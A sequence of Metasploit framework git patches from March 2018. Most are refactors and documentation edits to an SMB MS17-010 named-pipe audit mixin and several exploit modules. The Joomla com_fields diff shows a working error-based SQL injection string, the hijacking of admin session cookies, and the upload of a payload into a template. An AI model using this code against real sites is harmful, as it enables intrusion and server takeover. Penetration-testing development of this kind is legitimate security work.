modules/auxiliary/scanner/smb/smb_ms17_010.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index 9d7b42bbfe..496a2ed72e 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -123,18 +123,18 @@ class MetasploitModule < Msf::Auxiliary ] accessible_pipes||=[] target_pipes.each do |pipe| - pipe_name = "#{pipe}" - pipe_handle = self.simple.create_pipe(pipe_name, 'o') - accessible_pipes << pipe + pipe_name = "#{pipe}" + pipe_handle = self.simple.create_pipe(pipe_name, 'o') + accessible_pipes << pipe end p_pipes = "" if accessible_pipes.count != 0 - accessible_pipes.each do |a_pipe| - p_pipes += ", #{a_pipe}" - end - print_good("Following accessible named pipe(s) found: #{p_pipes}") + accessible_pipes.each do |a_pipe| + p_pipes += ", #{a_pipe}" + end + print_good("Following accessible named pipe(s) found: #{p_pipes}") else - vprint_status("No accessible named pipes found on the target") + print_status("No accessible named pipes found on the target") end report_vuln( From 048d0d1fe4611ed045d650cb2840278979c4d133 Mon Sep 17 00:00:00 2001 From: Luis Hernandez Date: Thu, 8 Mar 2018 20:13:01 -0500 Subject: [PATCH 038/105] Changes suggested by h00die --- .../unix/webapp/joomla_sqli_rce_3_7_0.md | 6 ++--- .../unix/webapp/joomla_comfields_sqli_rce.rb | 23 +++++++++---------- 2 files changed, 14 insertions(+), 15 deletions(-) diff --git a/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md b/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md index 2cc6fb5018..76c394dd20 100644 --- a/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md +++ b/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md @@ -1,7 +1,7 @@ ## Vulnerable Application - This module exploits a sql injection in the core of Joomla 3.7.0. - This vulnerability can allow remote code execution. + This module exploits a SQL Injection vulnerability in the com_fields component which was introduced to the core of Joomla in version 3.7.0. + With the SQLi, its possible to enumerate cookies of administrative users, and hijack one of their sessions. If no administrators are authenticated, the RCE portion will not work. If a session hijack is available, one of the website templates is identified, and our payload is added to the template as a new file, and then executed. ## Verification @@ -15,7 +15,7 @@ ## Scenarios -### Joomal 3.7.0 and an administrator must be authenticated in the backend +### Joomal 3.7.0 on Ubuntu 16.04 with another user authenticated as an administrator ``` msf > use exploit/unix/webapp/joomla_comfields_sqli_rce diff --git a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb index bd61f9a5f6..17eace5d69 100644 --- a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb +++ b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb @@ -11,7 +11,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Joomla Component Fields SQLi Remote Code Execution", + 'Name' => 'Joomla Component Fields SQLi Remote Code Execution', 'Description' => %q{ This module exploits a SQL injection vulnerability found in Joomla versions 3.7.0. @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2017-8917' ], # SQLi + ['EDB', '42033'], [ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ] ], 'Payload' => @@ -38,10 +39,10 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_PHP, 'Targets' => [ - [ 'Joomla 3.7.0 ', {} ] + [ 'Joomla 3.7.0', {} ] ], 'Privileged' => false, - 'DisclosureDate' => "May 17 2017", + 'DisclosureDate' => 'May 17 2017', 'DefaultTarget' => 0)) register_options( @@ -68,9 +69,8 @@ class MetasploitModule < Msf::Exploit::Remote def sqli( tableprefix , option) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). - # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. + # The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. - if option == 'check' sql = "(UPDATEXML(2170,CONCAT(0x2e,0x7170716a71,(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x7171717171),4879))" else @@ -88,7 +88,6 @@ class MetasploitModule < Msf::Exploit::Remote } }) - return res end @@ -110,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote # Retrieve the admin session using our retrieved table prefix res = sqli("#{table_prefix}_", 'exploit') - + if res && res.code == 500 && res.body =~ /qqq(.*)qqq/ auth_cookie_part = $1 print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") @@ -133,14 +132,14 @@ class MetasploitModule < Msf::Exploit::Remote # Modify cookie to authenticated admin auth_cookie = cookie_begin - auth_cookie << "=" + auth_cookie << '=' auth_cookie << auth_cookie_part - auth_cookie << ";" + auth_cookie << ';' # Authenticated session res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'), 'cookie' => auth_cookie }) @@ -154,7 +153,7 @@ class MetasploitModule < Msf::Exploit::Remote # Retrieve template view res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', @@ -183,7 +182,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{peer} - Creating file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', From 899e03ba9b95da8eb03fe0c31706fb60a487b2d3 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 14:05:53 +0530 Subject: [PATCH 039/105] Move pipeaudit to exploit/smb/client --- lib/msf/core/auxiliary/mixins.rb | 1 - lib/msf/core/exploit/mixins.rb | 1 + .../{auxiliary => exploit/smb/client}/pipeaudit.rb | 10 +++------- lib/msf/core/exploit/smb/client/psexec_ms17_010.rb | 3 ++- 4 files changed, 6 insertions(+), 9 deletions(-) rename lib/msf/core/{auxiliary => exploit/smb/client}/pipeaudit.rb (80%) diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index d3b66e909a..573784ae6f 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -32,7 +32,6 @@ require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/redis' require 'msf/core/auxiliary/sms' require 'msf/core/auxiliary/mms' -require 'msf/core/auxiliary/pipeaudit' # # Custom HTTP modules # diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index aa1fd67349..40f8def9eb 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -124,3 +124,4 @@ require 'msf/core/exploit/fortinet' # Other require 'msf/core/exploit/windows_constants' +require 'msf/core/exploit/smb/client/pipeaudit' diff --git a/lib/msf/core/auxiliary/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb similarity index 80% rename from lib/msf/core/auxiliary/pipeaudit.rb rename to lib/msf/core/exploit/smb/client/pipeaudit.rb index 39b6a025ad..f3c8551207 100644 --- a/lib/msf/core/auxiliary/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -1,15 +1,11 @@ module Msf -module Auxiliary::PipeAudit - include Msf::Exploit::Remote::SMB::Client - include Msf::Exploit::Remote::SMB::Client::Authenticated - include Msf::Auxiliary::Scanner +module Exploit::Remote::SMB::PipeAudit + include Msf::Exploit::Remote::SMB::Client::Psexec + include Msf::Exploit::Remote::Tcp def initialize(info = {}) super - #register_options([ - # OptString.new('RPORT', [true, 'The Target port', 445]) - # ], Msf::Auxiliary::PIPEAudit end def connect_to_pipe() diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index b8a67d7797..cbf1c74025 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -1,9 +1,10 @@ +require 'msf/core/exploit/smb/pipeaudit' module Msf module Exploit::Remote::SMB::Client::Psexec_MS17_010 include Msf::Exploit::Remote::SMB::Client::Psexec - include Msf::Auxiliary::PipeAudit + include Msf::Exploit::SMB::PipeAudit include Msf::Exploit::Remote::Tcp def initialize(info = {}) From 0e8402633461dde1abf0a602c96c63974adf9958 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 14:08:09 +0530 Subject: [PATCH 040/105] fix module path --- lib/msf/core/exploit/smb/client/psexec_ms17_010.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index cbf1c74025..54af6dd4cc 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -1,4 +1,4 @@ -require 'msf/core/exploit/smb/pipeaudit' +require 'msf/core/exploit/smb/client/pipeaudit' module Msf module Exploit::Remote::SMB::Client::Psexec_MS17_010 From 5bdc0b4ecdd31af68b0c0248a9be17281814a7f4 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 14:18:10 +0530 Subject: [PATCH 041/105] update mixins.rb --- lib/msf/core/exploit/mixins.rb | 2 +- lib/msf/core/exploit/smb/client/pipeaudit.rb | 5 ++--- lib/msf/core/exploit/smb/client/psexec_ms17_010.rb | 2 +- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 40f8def9eb..097d0b0d27 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -34,6 +34,7 @@ require 'msf/core/exploit/smb/client/local_paths' require 'msf/core/exploit/smb/client/psexec' require 'msf/core/exploit/smb/client/psexec_ms17_010' require 'msf/core/exploit/smb/client/remote_paths' +require 'msf/core/exploit/smb/client/pipeaudit' require 'msf/core/exploit/smb/server' require 'msf/core/exploit/smb/server/share' require 'msf/core/exploit/ftp' @@ -124,4 +125,3 @@ require 'msf/core/exploit/fortinet' # Other require 'msf/core/exploit/windows_constants' -require 'msf/core/exploit/smb/client/pipeaudit' diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index f3c8551207..9fde92640e 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -1,8 +1,7 @@ module Msf -module Exploit::Remote::SMB::PipeAudit - include Msf::Exploit::Remote::SMB::Client::Psexec - include Msf::Exploit::Remote::Tcp +module Exploit::Remote::SMB::Client::PipeAudit + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index 54af6dd4cc..f5b61b77e4 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -4,7 +4,7 @@ module Msf module Exploit::Remote::SMB::Client::Psexec_MS17_010 include Msf::Exploit::Remote::SMB::Client::Psexec - include Msf::Exploit::SMB::PipeAudit + include Msf::Exploit::Remote::SMB::Client::PipeAudit include Msf::Exploit::Remote::Tcp def initialize(info = {}) From 28f5920c9deabcc7d6163b5ce6b6ee499e31c30d Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 14:45:56 +0530 Subject: [PATCH 042/105] update module --- lib/msf/core/exploit/smb/client/pipeaudit.rb | 14 +++++++++++--- lib/msf/core/exploit/smb/client/psexec_ms17_010.rb | 3 ++- 2 files changed, 13 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index 9fde92640e..02c5660cd3 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -42,11 +42,19 @@ module Exploit::Remote::SMB::Client::PipeAudit begin pipe_name = "#{pipe}" pipe_handle = self.simple.create_pipe(pipe_name, 'o') - accessible_pipes << pipe_name - a_pipe_handles << pipe_handle + print_status("Accessible pipe found: #{pipe_name}") + pipe_found = 1 + ret_pipe = pipe_name + accessible_pipes << pipe_name + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") + + end + if pipe_found == 1 + vprint_status("Returning #{ret_pipe} to exploit") + return ret_pipe end end - return accessible_pipes[0], pipe_handle[0] end end end diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index f5b61b77e4..3d4fcaf286 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -334,7 +334,8 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 end def find_accessible_named_pipe() - pipe_name, pipe_handle = connect_to_pipe() + pipe_name = connect_to_pipe() + pipe_handle = self.simple.create_pipe(pipe_name, 'o') @ctx['pipe_name'] = pipe_name return pipe_handle From 7855c416c9cfd14cb8a7d3d6b13da466725aabd6 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 14:52:53 +0530 Subject: [PATCH 043/105] push latest changes --- lib/msf/core/exploit/smb/client/pipeaudit.rb | 4 ++-- lib/msf/core/exploit/smb/client/psexec_ms17_010.rb | 3 +-- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index 02c5660cd3..b7cb2bd594 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -51,8 +51,8 @@ module Exploit::Remote::SMB::Client::PipeAudit end if pipe_found == 1 - vprint_status("Returning #{ret_pipe} to exploit") - return ret_pipe + vprint_status("Returning #{ret_pipe} with handle #{pipe_handle.to_s}to exploit") + return ret_pipe, pipe_handle end end end diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index 3d4fcaf286..f5b61b77e4 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -334,8 +334,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 end def find_accessible_named_pipe() - pipe_name = connect_to_pipe() - pipe_handle = self.simple.create_pipe(pipe_name, 'o') + pipe_name, pipe_handle = connect_to_pipe() @ctx['pipe_name'] = pipe_name return pipe_handle From 4b483e079b2cb50f5db7407ac3fc1c64b288398a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Fri, 9 Mar 2018 12:25:19 +0300 Subject: [PATCH 044/105] Adding assigned CVE number --- modules/exploits/windows/http/manageengine_appmanager_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/http/manageengine_appmanager_exec.rb b/modules/exploits/windows/http/manageengine_appmanager_exec.rb index 0c32d01dac..2012d4d706 100644 --- a/modules/exploits/windows/http/manageengine_appmanager_exec.rb +++ b/modules/exploits/windows/http/manageengine_appmanager_exec.rb @@ -27,6 +27,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2018-7890'], ['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'] ], 'DefaultOptions' => From 56fe70d84b541b3bdb2497f75b177d00e3eb0b17 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 16:07:09 +0530 Subject: [PATCH 045/105] Update smb_ms17_010.rb --- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index 496a2ed72e..f7dc4d0319 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -90,8 +90,6 @@ class MetasploitModule < Msf::Auxiliary end print_good("Host is likely VULNERABLE to MS17-010! - #{os}") - - # Detect accessible named pipes vprint_status("Checking for accessible named pipes") target_pipes = [ @@ -127,10 +125,10 @@ class MetasploitModule < Msf::Auxiliary pipe_handle = self.simple.create_pipe(pipe_name, 'o') accessible_pipes << pipe end - p_pipes = "" + p_pipes = "" if accessible_pipes.count != 0 accessible_pipes.each do |a_pipe| - p_pipes += ", #{a_pipe}" + p_pipes += ", #{a_pipe}" end print_good("Following accessible named pipe(s) found: #{p_pipes}") else From 9df99e8ce3a438e1b27f3264afe9d75675a3a919 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 16:10:20 +0530 Subject: [PATCH 046/105] Update smb_ms17_010.rb --- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index f7dc4d0319..eb416fb0c1 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -134,7 +134,6 @@ class MetasploitModule < Msf::Auxiliary else print_status("No accessible named pipes found on the target") end - report_vuln( host: ip, name: self.name, From 2735ae57cbd616bdc63e16ddd725b2a30ea971a6 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 9 Mar 2018 07:31:55 -0600 Subject: [PATCH 047/105] Documentation accuracy --- .../modules/exploit/windows/http/gitstack_rce.md | 2 +- modules/exploits/windows/http/gitstack_rce.rb | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index 90355469c3..11fe5ff70d 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -1,6 +1,6 @@ ## Description -This module exploits an unauthenticated remote code execution vulnerability in GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. +An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This module exploits the vulnerability by sending unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. The module has been tested on GitStack v2.3.10. ## Vulnerable Application diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index c4357de062..05a0694020 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'GitStack v2.3.10 Unsanitized Argument', + 'Name' => 'GitStack Unsanitized Argument RCE', 'Description' => %q{ - This module exploits a remote code execution vulnerability in - GitStack v2.3.10, caused by an unsanitized argument being passed - to an exec function call. Earlier version of GitStack may be - affected. + This module exploits a remote code execution vulnerability that + exists in GitStack through v2.3.10, caused by an unsanitized argument + being passed to an exec function call. This module has been tested + on GitStack v2.3.10. }, 'License' => MSF_LICENSE, 'Author' => From 37bf4d118a155ae4f207ee240f4f896661959dc6 Mon Sep 17 00:00:00 2001 From: Luis Hernandez Date: Fri, 9 Mar 2018 09:55:50 -0500 Subject: [PATCH 048/105] Changes suggested by h00die 0803 --- .../modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md | 4 ++-- modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md b/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md index 76c394dd20..1230889829 100644 --- a/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md +++ b/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md @@ -1,7 +1,7 @@ ## Vulnerable Application - This module exploits a SQL Injection vulnerability in the com_fields component which was introduced to the core of Joomla in version 3.7.0. - With the SQLi, its possible to enumerate cookies of administrative users, and hijack one of their sessions. If no administrators are authenticated, the RCE portion will not work. If a session hijack is available, one of the website templates is identified, and our payload is added to the template as a new file, and then executed. + This module exploits a SQL Injection vulnerability in the 'com_fields' component which was introduced to the core of Joomla in version 3.7.0. + With the SQLi, it's possible to enumerate cookies of administrative users, and hijack one of their sessions. If no administrators are authenticated, the RCE portion will not work. If a session hijack is available, one of the website templates is identified, and our payload is added to the template as a new file, and then executed. ## Verification diff --git a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb index 17eace5d69..aa677e0d02 100644 --- a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb +++ b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2017-8917' ], # SQLi - ['EDB', '42033'], + [ 'EDB', '42033' ], [ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ] ], 'Payload' => From 1342284dc9177b1f9597fce33bc201d5ffb64860 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 21:38:59 +0530 Subject: [PATCH 049/105] Add wordlist --- .../client => data/wordlists}/pipeaudit.rb | 39 ++++++------------- .../core/exploit/smb/client/namedpipes.txt | 25 ++++++++++++ 2 files changed, 36 insertions(+), 28 deletions(-) rename {lib/msf/core/exploit/smb/client => data/wordlists}/pipeaudit.rb (51%) create mode 100644 lib/msf/core/exploit/smb/client/namedpipes.txt diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/data/wordlists/pipeaudit.rb similarity index 51% rename from lib/msf/core/exploit/smb/client/pipeaudit.rb rename to data/wordlists/pipeaudit.rb index b7cb2bd594..7df0e82f80 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/data/wordlists/pipeaudit.rb @@ -5,39 +5,22 @@ module Exploit::Remote::SMB::Client::PipeAudit def initialize(info = {}) super + register_options( + [ + OptPath.new('NAMED_PIPES_FILE', [ true, "List of known named pipes", + File.join(Msf::Config.data_directory, "wordlists", "namedpipes.txt")]), + ]) end def connect_to_pipe() accessible_pipes||=[] a_pipe_handles||=[] - target_pipes = [ - 'netlogon', - 'lsarpc', - 'samr', - 'browser', - 'atsvc', - 'DAV RPC SERVICE', - 'epmapper', - 'eventlog', - 'InitShutdown', - 'keysvc', - 'lsass', - 'LSM_API_service', - 'ntsvcs', - 'plugplay', - 'protected_storage', - 'router', - 'SapiServerPipeS-1-5-5-0-70123', - 'scerpc', - 'srvsvc', - 'tapsrv', - 'trkwks', - 'W32TIME_ALT', - 'wkssvc', - 'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', - 'db2remotecmd' - ] - + target_pipes = [] + pipe_file = datastore['NAMED_PIPES_FILE'] + if (!pipe_file) + print_error("File with named pipes is needed") + end + File.open(pipe_file, 'rb') { |f| target_pipes += f.readlines.split("\n")[0] } target_pipes.each do |pipe| begin pipe_name = "#{pipe}" diff --git a/lib/msf/core/exploit/smb/client/namedpipes.txt b/lib/msf/core/exploit/smb/client/namedpipes.txt new file mode 100644 index 0000000000..b36d631e4c --- /dev/null +++ b/lib/msf/core/exploit/smb/client/namedpipes.txt @@ -0,0 +1,25 @@ +netlogon +lsarpc +samr +browser +atsvc +DAV RPC SERVICE +epmapper +eventlog +InitShutdown +keysvc +lsass +LSM_API_service +ntsvcs +plugplay +protected_storage +router +SapiServerPipeS-1-5-5-0-70123 +scerpc +srvsvc +tapsrv +trkwks +W32TIME_ALT +wkssvc +PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER +db2remotecmd From 2b7364a6371d26c584bc76bfa7a4526fd5f7ff18 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 21:46:07 +0530 Subject: [PATCH 050/105] Add wordlist --- .../msf/core/exploit/smb/client => data/wordlists}/namedpipes.txt | 0 {data/wordlists => lib/msf/core/exploit/smb/client}/pipeaudit.rb | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename {lib/msf/core/exploit/smb/client => data/wordlists}/namedpipes.txt (100%) rename {data/wordlists => lib/msf/core/exploit/smb/client}/pipeaudit.rb (100%) diff --git a/lib/msf/core/exploit/smb/client/namedpipes.txt b/data/wordlists/namedpipes.txt similarity index 100% rename from lib/msf/core/exploit/smb/client/namedpipes.txt rename to data/wordlists/namedpipes.txt diff --git a/data/wordlists/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb similarity index 100% rename from data/wordlists/pipeaudit.rb rename to lib/msf/core/exploit/smb/client/pipeaudit.rb From 8b3e5c745bf26257db32234dd50105ddb07682d0 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 22:14:16 +0530 Subject: [PATCH 051/105] fix pipeaudit.rb --- lib/msf/core/exploit/smb/client/pipeaudit.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index 7df0e82f80..9d84d3b9e1 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -20,10 +20,13 @@ module Exploit::Remote::SMB::Client::PipeAudit if (!pipe_file) print_error("File with named pipes is needed") end - File.open(pipe_file, 'rb') { |f| target_pipes += f.readlines.split("\n")[0] } - target_pipes.each do |pipe| + p_file = File.open(pipe_file).read + vprint_status("File: #{p_file}") + #File.open(pipe_file, 'rb') { |f| target_pipes += f.readlines.split("\n")[0] } + p_file.each_line do |pipe| begin - pipe_name = "#{pipe}" + pipe_name = "#{pipe.to_s.split("\n")[0]}" + print_status("Using pipe #{pipe_name}") pipe_handle = self.simple.create_pipe(pipe_name, 'o') print_status("Accessible pipe found: #{pipe_name}") pipe_found = 1 From 80c7e9442bfc9cb71b13320582f350f59dfecbed Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 22:16:26 +0530 Subject: [PATCH 052/105] output formatting --- lib/msf/core/exploit/smb/client/pipeaudit.rb | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index 9d84d3b9e1..1567070122 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -21,20 +21,17 @@ module Exploit::Remote::SMB::Client::PipeAudit print_error("File with named pipes is needed") end p_file = File.open(pipe_file).read - vprint_status("File: #{p_file}") - #File.open(pipe_file, 'rb') { |f| target_pipes += f.readlines.split("\n")[0] } p_file.each_line do |pipe| begin pipe_name = "#{pipe.to_s.split("\n")[0]}" - print_status("Using pipe #{pipe_name}") + vprint_status("Using pipe #{pipe_name}") pipe_handle = self.simple.create_pipe(pipe_name, 'o') - print_status("Accessible pipe found: #{pipe_name}") - pipe_found = 1 - ret_pipe = pipe_name - accessible_pipes << pipe_name + print_good("Accessible pipe found: #{pipe_name}") + pipe_found = 1 + ret_pipe = pipe_name + accessible_pipes << pipe_name rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") - + vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") end if pipe_found == 1 vprint_status("Returning #{ret_pipe} with handle #{pipe_handle.to_s}to exploit") From dddad415a54415d2fa8e93c55f5194838848ab70 Mon Sep 17 00:00:00 2001 From: Luis Hernandez Date: Sun, 11 Mar 2018 07:59:26 -0500 Subject: [PATCH 053/105] add Msf::Exploit::Remote::HTTP::Joomla --- modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb index aa677e0d02..da845ed587 100644 --- a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb +++ b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper + include 